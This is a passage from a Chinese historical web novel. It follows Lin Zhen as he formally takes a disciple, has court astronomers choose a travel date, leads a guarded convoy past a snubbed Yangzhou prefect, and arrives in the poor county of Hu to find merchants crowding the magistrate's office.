半晌,林臻的脸上,缓缓绽开一个极其难得的、带着由衷欣赏和欣慰的笑容。 “好!说得好!”林臻的声音带着一丝难得的激动,“不慕虚名,但求实学!心系黎民,志在社稷!萧寒舟,你这份志向很好!非常好!” 他伸出手,重重地拍了拍萧寒舟的肩膀,力道之大,让萧寒舟身体都晃了一下。 “我林臻从不收徒。”林臻的声音变得郑重而严肃,“但今日,看在你这份赤子之心,这份为国为民的远大志向份上,我破例了!” 萧寒舟猛地抬起头,眼中充满了难以置信的狂喜! 巨大的幸福如同潮水般瞬间将他淹没! 他激动得浑身都在微微颤抖,嘴唇哆嗦着,一时间竟说不出话来! “扑通!” 没有任何犹豫,萧寒舟双膝一软,重重地跪倒在冰凉的金砖地面上! 他仰起头,看着林臻,声音因激动而哽咽颤抖:“师父!弟子愿意,弟子萧寒舟,拜见师父!” 他俯下身,额头重重地磕在地砖上,发出沉闷的响声! 林臻看着他激动得难以自持的模样,眼中笑意更深。 他并未立刻让他起来,而是伸出右手,宽厚温热的手掌,轻轻覆在了萧寒舟那因激动而微微颤抖的头顶。 “入我门下,当守我规矩。”林臻的声音低沉而清晰,带着不容置疑的威严,如同烙印般刻入萧寒舟的灵魂深处: “其一:尊师重道,忠心不二!不得欺师灭祖,不得背信弃义!” “其二:学以致用,知行合一!不得纸上谈兵,不得空谈误国!” “其三:心怀天下,俯仰无愧!不得恃才傲物,不得鱼肉百姓!” “此三条,乃我门铁律!你可能做到?可记住了?!” 萧寒舟感受着头顶传来的温热和那沉甸甸的分量,心中涌起一股前所未有的归属感和使命感! 他再次重重磕头,声音斩钉截铁,带着无比的虔诚和坚定: “弟子谨记师父教诲!三条门规,弟子铭记于心!此生此世,绝不敢忘!若有违背,天诛地灭!” “好!”林臻满意地收回手,脸上露出欣慰的笑容,“起来吧。” 萧寒舟这才站起身,激动得眼眶都有些发红,看着林臻,如同看着人生路上最明亮的灯塔。 林臻对一旁的浣碧笑道:“碧儿,吩咐下去,今晚设宴!我要正式收萧寒舟为徒!让府里热闹热闹!” 浣碧脸上也带着温婉的笑意,看着激动不已的萧寒舟,点头应道:“是,夫君。妾身这就去安排。” 第634章 拜师礼 暮色四合,华灯初上。 王府内灯火辉煌,人声鼎沸。 昨夜举行家宴的百福堂阁楼,再次被布置得庄重而喜庆。 巨大的八角琉璃宫灯高悬,将楼内照耀得亮如白昼。 空气中弥漫着佳肴的香气、名贵檀香的馥郁以及一种不同于昨日的、带着仪式感的肃穆氛围。 数十名丫鬟小厮身着崭新的服饰,在阁楼内外穿梭忙碌,如同训练有素的工蚁。 他们或端着热气腾腾、香气四溢的珍馐美馔,或捧着晶莹剔透的时令鲜果,或提着温润的玉壶琼浆,脚步轻快而有序地将各种珍品流水般送入阁楼正厅。 每个人的脸上都带着一丝紧张和兴奋。 世子殿下收徒,这可是王府近年来少有的大事! 阁楼正厅中央,昨夜那张巨大的紫檀木圆桌依旧摆放着,但此刻上面并未摆满菜肴,只在主位前方留出了足够的空间。 桌上铺着明黄色的锦缎桌围,桌面上整齐地摆放着几碟精致的点心和水果。 厅堂最深处,正对着大门的方向,设置了一个临时的、极其庄重的拜师坛场。 一张宽大华贵的紫檀木太师椅居中摆放。 林臻端坐其上,身姿挺拔,神情肃穆。 他今日并未穿常服,而是换上了一身深青色、绣着暗色云纹的锦缎长衫,显得格外沉稳内敛。 左手拇指上戴着一枚温润的羊脂白玉扳指,更添几分儒雅与威严。 在他身后,并非寻常的山水屏风,而是一座小巧精致的紫檀木佛龛。 佛龛内供奉的并非佛祖菩萨,而是一尊面容清矍、手持书卷、象征着文运昌隆的文昌帝君神像! 神像前,三柱细长的檀香静静燃烧,青烟袅袅,缭绕升腾,散发出宁心静气的幽香,将整个坛场笼罩在一片庄严肃穆的氛围之中。 以林臻为中心,他的妻妾们分坐两侧,同样穿着正式而不失华美的服饰,神情庄重。 左侧首位坐着慕容嫣。 她今日褪去了象征帝王的玄黑凤袍,只穿着一身月白色绣金凤纹的宫装常服,发髻也梳得较为家常,只簪了一支赤金点翠步摇。 她神情放松,带着一丝回家的慵懒和作为师娘的温和笑意。 在她下首,依次是气质清冷的楚惜灵、娴雅文静的司马椿蕾、以及依旧穿着素净、存在感极低、却因场合特殊而挺直了背脊的宁妃顾缜。 右侧首位是王府主母上官婉儿。 她身着正红色金凤牡丹宫装,仪态端庄,神情温婉中带着一丝主母的威严。 在她下首,依次是精明干练的张俪、娇俏可人的月妩、温婉如水的浣碧、明艳照人的晴雯、以及一身墨绿劲装、英姿飒爽的青霞。 所有人的目光,都聚焦在厅堂入口处。 片刻后,阁楼大门被轻轻推开。 沐浴更衣后的萧寒舟,在两名小厮的引领下,缓步走了进来。 他换上了一身崭新的靛青色才子儒衫,衣料是上等的杭绸,剪裁合体,衬得他身姿愈发挺拔。 乌黑的头发被精心梳理,一丝不苟地束在头顶,用一根青玉簪固定,露出光洁饱满的额头和清俊的脸庞。 他脸上没有任何多余的表情,只有一种近乎虔诚的庄重和肃穆。他步履沉稳,一步一顿,如同丈量过一般,朝着坛场中央、端坐于文昌帝君神像前的林臻走去。 整个厅堂鸦雀无声,只有他脚下靴子踏在光洁金砖上发出的轻微声响。 终于,他走到距离林臻三步远的地方停下。 他深吸一口气,目光坚定地看向端坐于上的林臻,随即,双膝一弯,毫不犹豫地、极其郑重地跪了下去! 膝盖撞击金砖,发出沉闷而清晰的“咚”声! 他双手平举于胸前,掌心向上,叠放如仪,随即深深俯首,额头重重地磕在冰凉的地砖上! “弟子萧寒舟,拜见师父!” 声音清朗,带着无比的恭敬和虔诚,在寂静的厅堂内回荡。 行完这庄重的跪拜大礼,萧寒舟并未立刻起身。 他保持着俯首叩拜的姿势,等待着师父的回应。 林臻端坐于太师椅上,目光沉静地看着跪在脚下的年轻弟子。 他并未立刻说话,只是微微颔首,表示接受了他的拜师之礼。 萧寒舟这才缓缓直起身,但依旧跪着。他侧过头,对侍立在一旁、同样穿着新衣、手捧红木托盘的书童微微示意。 书童立刻上前一步,将托盘高举过头顶。 托盘上,放着一盏刚刚沏好的、冒着袅袅热气的青瓷盖碗茶。 萧寒舟伸出双手,极其恭敬、小心翼翼地捧起那盏茶。 茶盏温热,如同他此刻激动的心情。 他转过身,目光下意识地首先投向了坐在左侧首位的慕容嫣。 他双手捧着茶盏,正要对着慕容嫣再次跪下,准备先行敬“师娘”茶时—— “起来。” 慕容嫣清越而温和的声音响起,带着一丝不容置疑的意味。 萧寒舟动作一顿,有些茫然地看向慕容嫣。 只见慕容嫣脸上带着温和的笑意,对着他轻轻摆了摆手:“寒舟,不必如此。朕今日回到这王府,便是你师父的妻子,是你的师娘。拜师之礼,当以师父为尊。哪有先给师娘敬茶的道理?去,先给你师父敬茶。” 她的语气平和自然,如同寻常人家的主母,没有丝毫帝王的架子,却自有一股令人信服的力量。 萧寒舟心中涌起一股暖流,连忙应道:“是!谢师娘!” 他站起身,捧着茶盏,再次转向林臻。 这一次,他没有任何犹豫,再次双膝跪地,将手中的青瓷茶盏高高举过头顶,声音带着无比的恭敬和激动: “师父!弟子萧寒舟,敬师父茶!请师父用茶!” 林臻看着眼前这个眼神清澈、态度虔诚的年轻人,脸上露出了欣慰而温和的笑容。 他伸出手,稳稳地接过了那盏饱含弟子心意的茶。 入手温热,茶香清雅。 他揭开杯盖,象征性地啜饮了一小口,随即放下茶盏。 他的目光变得深邃而郑重,看着跪在面前的萧寒舟,声音低沉而清晰: “寒舟,入我门下,为师很高兴。你天资聪颖,志向高远,是块璞玉。然则……” 他话锋一转,语气带着一丝告诫: “大道之行,非坦途也。经世致用之学,非纸上谈兵可得。欲求真知,必付辛劳。沪县之行,条件艰苦,事务繁杂,绝非京城安逸可比。你需有吃苦耐劳之志,有百折不挠之心,有躬行实践之勇!你可明白?可准备好了?” 萧寒舟抬起头,目光迎上林臻的视线,眼中没有丝毫退缩,只有无比的坚定和决心。他再次俯首,声音铿锵有力: “弟子谨记师父教诲!弟子不怕吃苦!弟子愿追随师父左右,躬身实践,百折不挠!定不负师父期望!” “好!”林臻满意地点点头,“起来吧。” 萧寒舟这才站起身,感觉膝盖都有些发麻,但心中却充满了力量。 接下来,便是向诸位师娘敬茶。 萧寒舟不敢怠慢,从书童手中接过新奉上的茶盏,按照座位顺序,首先走到慕容嫣面前,再次跪下,恭敬奉茶:“弟子萧寒舟,敬师娘茶!” 慕容嫣含笑接过,也象征性地抿了一口,温言勉励了几句。 随后是上官婉儿、张俪、月妩、浣碧、晴雯、青霞、楚惜灵、司马椿蕾、宁妃顾缜……萧寒舟一一敬茶,态度恭谨,礼数周全。 每位夫人也都温和地接过茶盏,或勉励几句,或含笑点头。 在萧寒舟向楚惜灵敬茶时,侍立在楚惜灵身后阴影处、几乎与背景融为一体的夏竹,看着眼前这庄重而温馨的一幕,看着萧寒舟那恭敬的姿态,看着林臻眼中对弟子的期许,她心中那股难以言喻的失落和酸涩再次翻涌上来。 她下意识地攥紧了藏在袖中的双手,指尖微微发白。 在身体上,她已经是林臻的女人了。 那夜的缠绵,那蚀骨的滋味,至今仍在她梦中萦绕。 可是林臻从未给过她任何名分,甚至从未在公开场合承认过她的存在。 如今,他如此郑重其事地收下这个状元郎为徒,给予他光明正大的身份和地位,而自己呢? 依旧只是一个不起眼的女官,一个不知道什么时候才能去武清的罪臣。 “唉……”一声微不可闻的叹息,如同秋叶飘落,从夏竹唇边逸出。 那叹息里,充满了自怜、不甘和一丝幽怨。 楚惜灵似乎听到了这声叹息。 她刚接过萧寒舟的茶,还未放下,便微微侧过头,目光精准地落在了身后阴影里的夏竹身上。 那目光复杂,带着一丝了然,一丝无奈,一丝嗔怪,更有一丝不易察觉的鼓励。 她并未说话,只是用眼神传递着无声的信息。 夏竹接触到楚惜灵的目光,心头猛地一颤,如同被窥破了心事。 她慌忙低下头,脸颊瞬间涨得通红,再也不敢有任何异样,只是将头埋得更低,仿佛要将自己彻底藏进阴影里。 拜师礼成,气氛也随之轻松下来。 众人移步至巨大的圆桌旁落座。 丰盛的晚宴早已摆满桌面,香气扑鼻。 萧寒舟作为新入门的弟子,自然没有资格与师父师娘们同席。 他恭敬地侍立在林臻身后,如同最忠诚的护卫,随时准备听候差遣。 慕容嫣坐在林臻左侧首位,神情放松。 她拿起银箸,很自然地夹了一块林臻喜欢的清蒸鲈鱼腹肉,放到他面前的玉碟里,动作娴熟自然,如同寻常妻子。 她一边看着林臻优雅地吃下,一边问道: “夫君,这次去沪县,是不是要让钦天监算算日子?毕竟是大事,总要图个好彩头。” 林臻放下银箸,拿起丝帕擦了擦嘴角,点点头:“行吧,等下派人去请,明天算算。” 第635章 钦天监 吃饭过后,慕容嫣便带着司马椿蕾回宫了,众人也回各自的院子休息。 翌日。 初夏清晨的阳光,透过王府雕花窗棂斜斜照入松鹤厅,空气中浮动着细微的尘埃,光线被切割成朦胧的光柱。 厅内陈设古朴大气,紫檀木的桌椅泛着幽暗的光泽,墙上挂着几幅意境深远的山水古画。 然而此刻,厅内的气氛却与这宁静雅致的环境格格不入,充满了某种难以言喻的压抑、拘谨和一丝荒诞。 钦天监监正李元圭,一个身着深青色六品鹭鸶补服、鬓角微霜的老者,正带着两名同样面色紧张、着七品官服的副手,鹌鹑般垂手肃立在厅堂中央的地毯上。 他们的额头渗出细密的汗珠,在阳光映照下显得亮晶晶的,手指不自觉地紧紧抓着略显陈旧官袍的下摆,连呼吸都刻意放轻,生怕弄出半点声响。 眼前这位骤然将他们传唤至镇北王府的世子殿下,是他们整个钦天监的噩梦。 至少曾经是。 时间仿佛凝固了许久。 终于,一串沉稳的脚步声由远及近,打破了死寂。 林臻踱步而入。 他今日穿着一身月白色的细麻常服,腰间松松系着一条墨色丝绦,整个人显得闲适从容。 橙萱紧随其后,她今日没有穿那身橙黄色长裙,而是一身浅碧色的丫鬟服饰,乖巧地跟在林臻身后,只是那双灵动的眼睛,好奇地扫过厅中战战兢兢的钦天监官员。 看见林臻出现,李元圭等人如同被针刺了一下,慌忙深深作揖,声音带着抑制不住的颤抖:“卑职钦天监监正李元圭,率副手,叩见世子殿下!殿下千岁!” 林臻随意地走到主位上坐下,橙萱立刻乖巧地奉上一盏清茶。 他并未立刻饮茶,目光平静地落在李元圭身上,那目光并不锐利,却带着一种穿透性的力量,让李元圭感觉自己的五脏六腑都快被看透了。 “起来吧。”林臻的声音平淡无波。 “谢……谢殿下恩典。”李元圭颤巍巍地直起身,心里打鼓更甚。 反常。 太反常了。 这反常令他更加惴惴不安。 上一次他们钦天监的人壮着胆子想来王府勘舆一下风水,或是在府中大节时祈福做法事,刚提了个开头,就被林臻毫不留情地斥为装神弄鬼、虚耗钱粮、惑乱人心,劈头盖脸一顿怒斥,赶出了王府大门。 自那以后,钦天监上下彻底绝了巴结镇北王府的心思,甚至对王府二字都敬而远之,生怕惹祸上身。 可万万没想到,这位极度厌恶星象占卜、鬼神之说的世子,今日竟主动传召他们入府! 事出反常必有妖。 李元圭只觉得一股寒气从脚底板直冲天灵盖,腿肚子都有些转筋,难道王府将要有什么惊天动地的剧变? 自己这小小的钦天监正,怕是要被牵连? “李监正,”林臻的声音将李元圭从纷乱的思绪中拉回,“今日本世子请你们来,有件事让你们办。” 李元圭心提到了嗓子眼,连忙躬身应道:“殿下尽管吩咐!卑职等赴汤蹈火,万死不辞。” 他差点咬到自己的舌头,给鬼神算命的人赴汤蹈火,听起来怎么那么怪? “没那么严重。”林臻端起茶盏,轻轻吹了吹浮沫,“本世子不日将离京南下,去趟沪县。你替我算算,选个黄道吉日出发。要快。” “啊?!”李元圭猛地抬起头,浑浊的老眼瞪得溜圆,嘴巴下意识地张开,仿佛听到了世间最不可思议的事情。 他身后的两个副手更是倒吸一口冷气,相互交换了一下难以置信的眼神。 整个松鹤厅陷入一种诡异的寂静,连空气仿佛都凝结了。 李元圭的脑袋嗡嗡作响,一片混乱。 黄道吉日? 世子殿下主动要求选黄道吉日? 这……这太阳是从西边出来了吗? 还是说……这位权倾天下、翻手为云覆手为雨的世子殿下,终于也开始敬畏天命鬼神了? 或者沪县那边有着惊天动地的凶险,连世子都不得不借助星象之力来规避? 强烈的惊讶和极度的好奇,压过了恐惧。 李元圭也顾不上失仪不失仪了,几乎是脱口而出,声音因为激动和不解而有些拔高:“殿下,恕卑职斗胆,您不是向来……” 他话到了嘴边,终究没敢把不信这些把戏或斥责我们装神弄鬼说出口,噎了一下,小心翼翼地问道,“您不是向来崇尚实务吗?这次怎么…” 他“怎么会”后面怎么都接不上去,急得额头青筋都鼓了起来。 林臻的目光终于转了过来,依旧平静,但那股平静之下蕴藏的压力却陡增。 他没有斥责,也没有解释,只是将目光停在李元圭脸上片刻,看得对方冷汗瞬间浸透了后背的官袍。 “此一时,彼一时。”林臻的声音没有任何情绪起伏,简单的五个字,却像重锤砸下,彻底封死了李元圭所有探究的可能,“让你算,就算。别那么多话。” 他放下茶盏,杯底磕在紫檀木桌上,发出一声清脆的轻响。 这声音如同惊雷在李元圭耳边炸开。 他瞬间清醒过来,恨不得甩自己两个耳光! 好奇心害死猫啊! 世子殿下行事,岂是他们这等小官可以揣度的? 他连忙深深垂下头,声音带着无比的惶恐:“卑职遵命,卑职多嘴!卑职这就查!这就算!请殿下稍候!稍候片刻!” 说罢,李监正几乎是以一种逃离险境的速度,带着两个同样吓得面无人色的副手,慌慌张张地掏出从不离身的星盘罗经和厚厚的泛黄黄历,也顾不上体面了,扑通一声就跪坐在地毯上。 三人凑在一起,手忙脚乱地翻书、拨弄星盘上的铜符、掐算手指,嘴里还念念有词,额头上的汗水如同小溪般流淌下来。 此刻在他们眼中,那些平日烂熟于心的星宿、五行、节气、冲煞禁忌,都变得无比陌生而混乱。 时间一分一秒过去,林臻依旧悠然品茶,橙萱侍立一旁,目光扫过地上狼狈计算的官员,嘴角似乎弯起一丝难以察觉的弧度。 终于,大概过了一盏茶极其煎熬的光景,李元圭似乎找到了结果,他颤抖着手在地毯上划了几个符号,又紧张地反复核对了几遍,才艰难地爬起身,对着林臻,用近乎虚脱的声音回禀: “启禀殿下!卑职反复推演,七日后,即乙巳年五月初八丙寅日,上值大吉神青龙,临命宫,主远行诸事皆宜,大利东南!彼时金星当位,紫气东来,正午时分阳火相济,最宜殿下启程!乃千载难逢之良辰吉日!” 他一口气说完,几乎要虚脱,大气都不敢喘,低着头等待林臻的判决。 他特意强调了千载难逢,希望能增加一点说服力。 林臻听完,脸上没有任何欣喜或不满的神情,仿佛听到的只是“今天天气不错”。 他放下茶杯,站起身。 “好。”他只淡淡应了一声,连看都没再看李元圭等人一眼,直接迈步就向厅外走去。 “橙萱,备马,随我出门。” 橙萱立刻清脆应声:“是,殿下!” 随即像只轻快的燕子跟了上去。 留下钦天监三位官员如同被钉在原地,呆呆地看着世子背影消失在厅外灿烂的晨光中,面面相觑。 巨大的奢华厅堂内,只剩下他们粗重的喘息声和地上那些被汗水和慌乱弄皱弄脏的黄历与罗盘。 松鹤厅一片死寂,一种混杂着完成任务后的极度疲惫、对世子的恐惧、以及浓烈得化不开的疑惑笼罩了他们。 世子这到底是演的哪一出? ??...... 第636章 毛梦极回归 接下来的日子,镇北王府如同一架精密的战争机器般高速运转起来。五月初八被钦定为出行之日,时间紧迫,各项准备工作有条不紊地铺开。 林臻似乎并未太在意那个钦天监算出来的“吉日”。 李元圭战战兢兢送来黄纸朱批写好的“吉时表”时,林臻只是随意看了一眼,便丢在了堆积如山的案牍之上。 离京前一天清晨,天刚蒙蒙亮,薄雾尚未散尽。 王府东北角,专门用于调动亲军、占地极广的演武场上,已是一片肃杀景象。 空气中充斥着金铁交鸣的铿锵声、粗粝的口令声以及战马不耐的低沉嘶鸣。 五千名全副武装的金吾卫精锐,如同黑色的钢铁丛林般列成整齐的方阵。 他们都穿着特制的玄色轻便锁甲,不同于出征北燕的重装,甲片在熹微晨光中反射着冰冷的幽光。 士兵们面容刚毅,眼神锐利如鹰,身上透着一股百战之余凝聚成的肃杀之气。 他们左手持制式精钢圆盾,边缘锋锐如刃,右手紧握着一臂长短、近战搏杀极其凶狠的破甲手弩“寸芒”。 腰间悬挂寒光闪闪的狭锋横刀,背后背着分量沉手的连发快弩“追魂”。 这是经过林臻多次改造后精简下来的,既能确保高效防御,又能进行致命反杀的强大护卫力量! 整个方阵弥漫着一种沉默而沉重的压迫感,仿佛一头蛰伏的洪荒巨兽,随时准备为护主而咆哮撕咬。 方阵之前,立着一位身材并不高大,却如标枪般笔挺的青年将领。他正是奉林臻亲笔手令,星夜兼程,只用三天三夜便从清河激战地赶回的骁将——毛梦极?! 他脸上一道斜贯左颊的醒目刀疤还透着新愈的淡红,深陷的眼窝带着连日急行军透支的疲惫,但他眼神中那近乎凝固的杀气与忠诚,却如同熔炉中的精铁,炽热而纯粹! 林臻已经命毛梦极为御前将军,负责领导这五千金吾卫,也是林臻南行最值得信赖的贴身屏障! 林臻站在高高的点将台上,身影在微光中显得有些模糊,却散发着如山岳般凝重的威仪。 目光缓缓扫过台下沉默的铁甲方阵,无须过多言语,每一名士兵都感受到了主君目光的重量,身躯挺得更加笔直,眼神更加炽热! 他们是殿下最锋利的刀,最坚固的盾! 无论前方是刀山火海还是魑魅魍魉! 林臻的声音并不大,却清晰地传到每个人耳中,带着斩钉截铁的意味:“毛梦极!” “末将在!”毛梦极一步踏前,抱拳躬身,铠甲发出一声清脆的碰撞。 “本世子命你率金吾卫五千精锐,即刻整装,护卫车队南下沪县!此非行军,却是护卫!任何可疑、任何胆敢靠近、任何心怀不轨者,” 林臻的声音骤然转冷,冰寒刺骨,“杀无赦!” “末将领命!以项上人头担保!殿下所至之地,末将必使其固若金汤!片瓦不惊!” 毛梦极的声音嘶哑却铿锵,眼中燃烧着决绝的火焰,那道新愈的刀疤在晨光中扭动,如同狰狞的活物。 “很好。”林臻点点头,转身走下点将台。 点将完毕! ...... 车轮滚滚,旌旗招展。 林臻庞大的南行车队,如同一条蜿蜒盘踞的华丽巨龙,在官道上徐徐前行。 车队中最为醒目的,便是林臻所乘坐的那辆极其夸张奢华的巨大马车。 它由最坚韧的南洋铁力木打造骨架,通体镶嵌着打磨光滑的紫檀木壁板,窗牖皆镶嵌着大块纯净剔透的琉璃,帘幕是江南最顶级的流光锦。 车厢内部铺着厚厚的波斯绒毯,足有寻常房间大小。 此刻,林臻身着宽大的藏青细绸常服,姿态慵懒地靠在一个柔软的天鹅绒靠垫上,手中把玩着一块温润的羊脂玉佩。 他的身边,左侧是气质精明沉稳的商界巨擘张俪,她正透过窗口琉璃,冷静地审视着窗外的田野;右侧是温婉如水的浣碧,安静地为林臻煮着安神的清茶;前方略次的位置,是娇俏明艳的晴雯,怀里抱着叽叽喳喳的小承煜,似乎对窗外的单调风景有些厌烦。 而在车队后方,紧跟着几辆稍小一些但同样精致的马车,其中一辆朴素清雅的车厢内,正传出楚惜灵那温润平和、充满智慧之光的说话声。 这支队伍在钦天监算定的那个“黄道吉日”——五月十八中午准时出发,一路风雨兼程,跋山涉水,终于在第十日的薄暮时分,抵达了扬州地界。 距离扬州城还有十里路,一座供往来官员商旅歇脚的“长亭”已在望。 然而此时,长亭附近却一反常态,人头攒动,被堵了个水泄不通! 扬州刺史孙文谦?,此时早已心急火燎地率着一众扬州府的大小官员在此等候。 孙刺史身穿朱色五品白鹇补服,努力挺直腰板,脸上挤出最得体的笑容,站在队伍的最前列,脖子伸得老长,望着官道尽头尘土扬起的车队方向。 他特意在林臻之前早回来几日,就为了今天。 他身后的官员队伍排了几十步长,穿着青色、绿色的各色补服,一个个也都尽力摆出恭敬的神情,只是连日等待的疲惫与未知的忐忑,终究难以完全掩饰,让气氛显得有些沉闷压抑。 终于,林臻那庞大的专属车队在夕阳的余晖和金吾卫的严密护卫下,轰然而至。 如同沉默的潮水涌来,最终停在长亭外不远处。 孙文谦眼睛一亮,精神瞬间提振,连忙整理了一下衣冠,脸上堆满最热情、最谦卑的笑容,带着一众官员快步迎了上去,在距离林臻那架巨大马车还有十几步远时,便齐刷刷躬身行礼,声音洪亮而恭敬: “下官扬州刺史孙文谦,率扬州府大小官员,恭迎世子殿下大驾光临!下官等已在城内官驿备下薄酒宴席,并为殿下及诸位贵人准备好了最佳下榻之所,万望殿下赏光,容我等尽地主之谊……” 马车高大的紫檀木车门被推开,在所有人翘首以盼的注视下,一身藏青绸衫、气质疏淡的林臻缓步走了下来。 他的目光只是随意地在孙文谦脸上扫了一下,眼神平静无波,既无欣赏,亦无苛责,仿佛眼前恭敬地站着的不是一州刺史,而是一个寻常路人。 他甚至没有理会孙文谦身后那长长的、恭敬行礼的官员队伍。 “孙刺史辛苦了。”林臻的声音平淡如常,不带一丝情绪,“宴席驿馆,就不必了。本世子此行目标明确,只为沪县。沪县情势瞬息万变,迟恐生变。尔等各司其职,照看好扬州辖境便是。” 仅仅几句话,简洁利落得近乎无情,如同秋风扫落叶般,将孙文谦精心准备了多日、本想借此机会巴结一番的安排彻底扫进了垃圾堆。 孙文谦脸上的笑容瞬间僵住,如同被一盆冷水兜头浇下,满腔的热情被泼灭了大半,只剩下冰冷和尴尬。 但他不敢有丝毫不满,连忙再次躬身,声音带着难以掩饰的失落和一丝惶恐: “是……是!殿下心系民生,急于公务,下官钦佩万分!那下官这就安排人手,为殿下车队指引前往沪县的官道。” “不必。”林臻直接打断他,已经转身准备上车,“路本世子认得。金吾卫随员皆携带最新图册与罗盘。尔等不必再送了。” 说罢,林臻甚至没再看孙文谦一眼,单手扶着橙萱递上的手臂,重新登上了他那辆庞大如行宫的马车。 沉重的车门在孙文谦等人绝望的目光中,发出沉闷的“哐当”一声,牢牢关上。 紧接着,整个沉默而雄壮的车队,在金吾卫士兵锐利的目光扫视下,重新启动,绕过长亭和那几十名如石像般僵立原地的扬州官员,径直踏上了通往更东南方向,只留下一路滚滚烟尘和满目的尴尬与萧索。 暮色四合,孙文谦和身后的官员们望着消失在远方尘土中的车队,久久无语。 精心准备的接风宴席? 下榻之所? 攀附结交的机会,一切都成了泡影。 第637章 沪县 两天后,林臻一行终于踏入了此行的目的地—,沪县。 破败! 衰败! 麻木! 这是沪县给所有人留下的第一感官冲击。 低矮、歪斜的夯土城墙,墙砖大多风化开裂,缝隙里顽强地生长着枯黄的杂草。 城墙上甚至连像样的雉堞都残缺不全,几个象征性挂着的破烂灯笼在风中无精打采地晃动。 城门洞上,写着“沪县”二字的木质匾额早已被雨水浸泡得字迹模糊,漆皮剥落,摇摇欲坠。 城门前那条所谓的“官道”,坑坑洼洼,泥泞不堪,两侧排水沟淤塞,散发着难以形容的腐臭气味。 车队驶入城中,想象中的繁华喧嚣丝毫不见。 街道狭窄拥挤,两旁是低矮歪斜的民居,大多是土坯茅草顶,少数有瓦片的也是灰黑破败,透着一股死气沉沉的霉味。 街道上行人稀少,就算偶有行人,也都面黄肌瘦,眼神空洞,衣不蔽体,脸上没有任何对生活的热情,只有一种深入骨髓的麻木和认命的疲惫,仿佛眼前的一切不过是将就着活下去的牢笼。 几个衣衫褴褛的孩童趴在自家门槛上,用一种空洞而好奇的目光,望着这忽然闯入他们灰暗世界的华丽车马。 当林臻那辆如同移动宫殿般的巨大奢华马车辘辘驶过狭窄破败的街道时,引起了小范围的骚动和围观。 衣衫褴褛的百姓们从门洞后、茅草棚里怯生生地探出头,麻木的脸上终于有了一丝波动。 他们交头接耳,指指点点,窃窃私语声如同苍蝇般嗡嗡响起: “快看!老天爷哟!这是哪位神仙老爷驾到了?怕不是皇帝爷出巡了吧?” “没见过这么大的马车!还镶着琉璃呢!乖乖……” “这么多当兵的!好生吓人!” “朝廷派这么大的官来咱们这小地方?难道是来赈灾的?” “扯吧!这么多年了也没见过一粒米!怕是又弄出什么名堂,要加税吧?” “看这排场说不定这穷日子真要熬到头了?” 人群中,一个干瘦的老者蜷缩在墙根下,浑浊的眼睛望着那巨大的马车,低声喃喃自语,声音中带着一丝自己都不敢相信的微弱希冀。 他身边的一个小孩用力舔着空空如也、糊着灰泥的破碗底,只盼着车上的人能掉下一点糖霜饼渣。 车队碾过泥泞,无视这些指点和议论,按照林臻的指示,目标明确地直奔位于县城西北角的县衙而去。 负责引路的金吾卫探哨早已摸清了路径。 然而,当庞大的车队转过最后一个街角,望见那座同样低矮破败、墙壁斑驳、青瓦灰冷的县衙大门时,所有人都不由得愣了一下。 反差! 巨大的反差! 与他们一路行来所见的死寂破败截然相反,平日里冷冷清清的县衙大门外,此刻竟是人山人海?! 不是衣衫褴褛的百姓,而是穿着绫罗绸缎、腆着肚子、脸上带着精明与焦灼的各色商人! 他们挤满了县衙门前不大的一块空地,排起了几条蜿蜒的长龙,几乎将本就不宽的街道堵得水泄不通! 肥胖的丝绸商人,精瘦的粮行掌柜,挂着铜眼镜的钱庄管事,甚至还有带着外族面孔疑似海商的人物。 他们三五成群,或焦急地伸长脖子向前张望,或低声激烈地交谈着,空气里弥漫着汗味、尘土味和一种强烈而浮躁的金钱气息! 那些穿着短打的仆役穿梭其中,为各自的主人打着扇子,递着茶水。原本该肃穆威严的县衙门口,此刻竟比扬州的市集还要喧闹! 护卫的金吾卫士兵立刻警觉起来,迅速组成防御阵型,寸芒手弩隐隐对准人群,肃杀的气息瞬间蔓延。 这反常而喧嚣的一幕,自然也落入了张俪那双锐利如鹰的眼眸中。 她微微前倾身体,隔着马车巨大琉璃窗仔细扫视着那些衣着光鲜的商人,脸上露出一丝洞察世事的冰冷讥诮。 她侧过头,对身边依旧闭目养神状的林臻发出了一声清晰而带着绝对自信的嗤笑: “呵……夫君,看到了吗?真是讽刺。我们的车队碾压着穷苦百姓的泪水和尸骨进入这座枯城,看到的头一个盛景却是这般热闹!” 她的声音带着穿透人心的力量,直接指向核心,“息壤的消息,怕是在扬州刺史呈报朝廷之前,就已经如同瘟疫般在商贾圈子里散开了吧?瞧瞧这些人的嘴脸,千里迢迢蜂拥而至,鼻子比老鼠还灵!不就是闻着不愁涝的神土味儿,赶着来占坑圈地、囤积居奇的吗?他们手里攥着成箱的银票和盐引,就等着买下沪县每一寸能长神土的烂泥塘!这就是江南的商贾!” 林臻终于缓缓睁开了眼睛。 他的目光平静,仿佛窗外那令人烦躁鼎沸的人声只是夏夜的虫鸣。 他透过琉璃窗看向县衙门口那闹哄哄的盛景,嘴角勾起一抹冰冷而充满了绝对掌控力的笑意,如同看到一群在即将熄灭的篝火旁喧嚣蹦跶的蝼蚁。 “呵,屯土地?囤积居奇?”林臻的声音不高,却带着一种主宰沉浮的绝对意志,“有我在,任何的私下交易都不作数。这沪县的土地、水道、资源、人力,一切的一切都将被我重新赋予规则。” 他微微转头,对车夫简短下令,“停车。” 命令清晰传达到前面,巨大的马车缓缓停下。 在张俪了然的目光、浣碧温柔的注视、晴雯好奇的探头下,林臻站起身,高大挺拔的身影在宽敞奢华的车厢内显得极具压迫感。 他伸手,橙萱立刻将手按上了腰间的剑柄上。 林臻没有半分犹豫,直接推开那扇镶嵌着琉璃、价值连城的紫檀木车门,一步便踏了下去。 金色的阳光瞬间笼罩了他。 他华贵的月白常服与周遭破败的土墙、泥泞的地面、衣衫褴褛看热闹的贫民、以及那些穿着光鲜却满脸精明的商人形成了触目惊心的对比! 如同九天神祇骤然降落在污浊凡间。 原本喧嚣嘈杂的县衙门口,像是被一只无形巨手扼住了咽喉,刹那间陷入了一片死寂! 所有目光,带着震惊、疑惑、贪婪、恐惧、卑微,无数复杂的情绪,齐刷刷地聚焦在了这位如同画卷中走出、带着难以形容威势的陌生贵人身上! 连空气都仿佛凝固了。 而林臻的视线,却越过了这凝固的人群,如同实质般投向那扇紧闭的、低矮的县衙大门。 林臻一步踏下马车,玄狐大氅在微风中轻轻摆动,华贵的月白绸衫在破败县衙的背景下显得格外刺目。 他如同投入浑浊池塘的巨石,瞬间打破了县衙门前那商贾喧嚣的“盛景”。 第638章 竟敢强闯县衙重地 死寂! 